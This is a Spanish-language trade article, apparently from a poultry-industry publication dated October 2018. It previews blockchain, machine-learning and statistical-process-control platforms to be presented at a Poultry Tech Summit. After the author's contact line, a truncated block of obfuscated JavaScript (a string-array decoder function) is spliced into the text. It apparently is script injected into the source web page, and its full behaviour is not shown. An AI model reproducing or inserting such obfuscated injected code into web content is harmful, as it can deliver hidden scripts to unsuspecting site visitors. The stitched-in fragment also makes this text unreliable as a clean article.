¿Qué problemas de la producción avícola podría resolver la blockchain y el aprendizaje automatizado? ¿Podrían resolver los suyos? Conozca la respuesta en la Cumbre de Tecnología Avícola.
El big data o inteligencia de datos (macrodatos o datos masivos) es la próxima gran oportunidad para los productores avícolas a medida que crece la brecha entre la creciente cantidad y complejidad de los datos disponibles y las capacidades de los sistemas de manejo de aves existentes.
La abundancia —sin precedentes— de datos generados en los negocios de producción avícola desafían la capacidad de los gerentes para entenderlos y utilizarlos, pero ya hay avances tecnológicos capaces de hacer uso de las tecnologías de la blockchain (cadena de bloques) y el aprendizaje automatizado para detectar, predecir y manejar resultados sobre la salud aviar, la eficiencia en la producción, la calidad de los productos y la seguridad alimentaria a través de la cadena de suministro.
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Tres plataformas tecnológicas que se presentarán en la Cumbre de Tecnología Avícola (Poultry Tech Summit o PTS) ofrecen maneras de aprovechar estas oportunidades, y cada una de ellas tiene un enfoque y acercamiento distintos.
AbuErdan ofrece análisis predictivos sobre el rendimiento
Islam Khalil, de AbuErdan, presentará una solución analítica del big data utilizando análisis predictivos y de aprendizaje profundo para manejar la producción de aves en vivo, proporcionando trazabilidad en toda la cadena de suministro. La plataforma basada en la nube utiliza la tecnología de la blockchain y redes neuronales de aprendizaje profundo para monitorear las operaciones avícolas a gran escala y en todas las regiones. Cuando surgen problemas de conectividad en las granjas, el sistema se sincroniza con los servidores tan pronto como se realiza la conexión.
Los paneles interactivos de administración con diferentes módulos a lo largo de la cadena de valor avícola (pollos, reproductoras, criaderos y mataderos) muestran los indicadores clave de rendimiento (KPI) actuales y pronostican el rendimiento futuro. Una perspectiva integrada de los datos operativos permite rastrear el producto final a través de la cadena de valor con un nivel de detalle de un minuto. Esto ayuda a analizar el impacto de razas, alimentos balanceados y granjas en la cadena de valor.
Simple Vet Solutions simplifica el cumplimiento normativo
Albert Payne, de Simple Vet Solutions, analizará cómo la tecnología de la blockchain se puede aplicar a los registros veterinarios para mantener transparencia y trazabilidad, mientras se proporciona un análisis que evalúe la eficacia de los tratamientos.
El sistema AgConnect proporciona manejo de registros veterinarios, integración con sistemas de administración de datos existentes y almacenamiento en la nube de registros y directivas veterinarias electrónicas (eVFD), los cuales son compatible con la Administración de Alimentos y Medicamentos de Estados Unidos (FDA). Además, provee recetas veterinarias que están firmadas y encriptadas. Admite múltiples registros veterinarios, desde eVFDs y recetas hasta certificados de salud e incluso historias genéticas de animales.
Smart Data Science Solutions detecta cambios en el proceso
Timothy Buisker, de Smart Data Science Solutions, presentará un sistema de control de procesos estadísticos (SPC) de múltiples niveles que permite identificar y responder de manera más rápida y precisa a los cambios potenciales en las variables que afectan la seguridad alimentaria y los resultados de producción en toda la cadena de suministro avícola.
Esta innovación se puede emplear en toda la cadena de suministro para cualquier proceso medible que una empresa quiera monitorear, incluidos los resultados en inocuidad de los alimentos o la producción en términos de cantidad, calidad, eficiencia, costo o satisfacción del cliente.
El SPC de varios niveles y los algoritmos de aprendizaje automatizado se actualizan cuando se introducen nuevos datos en el sistema SPC para permitir que los modelos se adapten y cambien con el tiempo. El sistema está sintonizado para identificar problemas emergentes en un marco específico de la empresa. Cualquier proceso que muestre alguna variación natural puede ser monitoreado para evaluar cuándo experimenta un verdadero cambio en lugar de una variación inherente.
Otras innovaciones de datos para mejorar el rendimiento
Little Bird Systems presentará un sistema de energía solar para estimar la cantidad de alimentación en un contenedor utilizando un pequeño dispositivo para aplicar la vibración junto con sensores y software.
Olga Kemenova, del Instituto de Investigación Tecnológica de Georgia, analizará el Modelo de simulación del sistema avícola (Poultry System Simulation Model), que simula el uso de agua, energía, aguas residuales y mano de obra de una planta de procesamiento de aves.
En total, se presentarán 16 innovaciones en la cumbre relacionadas con robótica y automatización, seguridad alimentaria, ciencias de la vida, big data e inteligencia artificial.
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Para conmemorar los 100 años de servir a los profesionales de la producción y procesamiento avícola de todo el mundo, los editores de WATT Global Media crearon un repertorio de artículos originales enfocados a la industria con miras al futuro. “Futuro de la industria avícola” consta de una colección de 13 artículos a fondo, cada uno de los cuales explora desarrollos en sectores clave de la industria, que tienen impacto en el futuro de la avicultura mundial. Como bono extra se incluye también a los últimos miembros del Salón de la Fama de la Avicultura Latinoamericana. Adquiéralo aquí.
Gary Thornton es editor en ClearPoultry.com. Puede contactarlo a través de su correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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30 de octubre de 2018